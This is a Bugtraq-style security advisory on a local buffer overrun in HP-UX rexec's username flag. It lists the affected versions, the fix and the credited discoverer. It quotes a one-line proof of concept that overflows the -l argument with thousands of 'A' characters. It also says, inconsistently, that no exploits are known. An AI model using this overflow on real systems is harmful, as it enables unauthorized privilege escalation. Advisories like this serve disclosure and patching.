HP-UX RExec Remote Username Flag Local Buffer Overrun Vulnerability

BID:7459

Info

HP-UX RExec Remote Username Flag Local Buffer Overrun Vulnerability

Bugtraq ID: 7459
Class: Boundary Condition Error
CVE:
Remote: No
Local: Yes
Published: Apr 29 2003 12:00AM
Updated: Apr 29 2003 12:00AM
Credit: Discovery credited to "Davide Del Vecchio" <[email protected]>.
Vulnerable: HP HP-UX 11.22
HP HP-UX 11.20
HP HP-UX 11.11
HP HP-UX 11.0 4
HP HP-UX 11.0
HP HP-UX 10.34
HP HP-UX 10.30
HP HP-UX 10.26
HP HP-UX 10.24
HP HP-UX 10.20
HP HP-UX 10.16
HP HP-UX 10.10
Not Vulnerable:

Discussion

HP-UX RExec Remote Username Flag Local Buffer Overrun Vulnerability

It has been reported that a problem in the rexec program included with some versions of HP-UX may be vulnerable to a boundary condition error. It may be possible for a local user to exploit this vulnerability to gain elevated privileges on the system.

Exploit / POC

HP-UX RExec Remote Username Flag Local Buffer Overrun Vulnerability

A proof of concept has been made available by "Davide Del Vecchio" <[email protected]>:

rexec 127.0.0.1 -l `perl -e 'printf "A" x 9777'` -n something
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Currently we are not aware of any exploits for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Solution / Fix

HP-UX RExec Remote Username Flag Local Buffer Overrun Vulnerability

Solution:
HP has released fixes for HP-UX 10.20, 11.00, 11.04. Users of HP-UX 10.10 systems, as a temporary measure, are advised to download and install libc.1.10.20 on affected systems. This file can be found at the following location.

ftp://rexec:[email protected]/
ftp://rexec:[email protected]/

Further information, and instructions, are available in the referenced advisory HPSBUX0304-257.


HP HP-UX 11.0

References

HP-UX RExec Remote Username Flag Local Buffer Overrun Vulnerability

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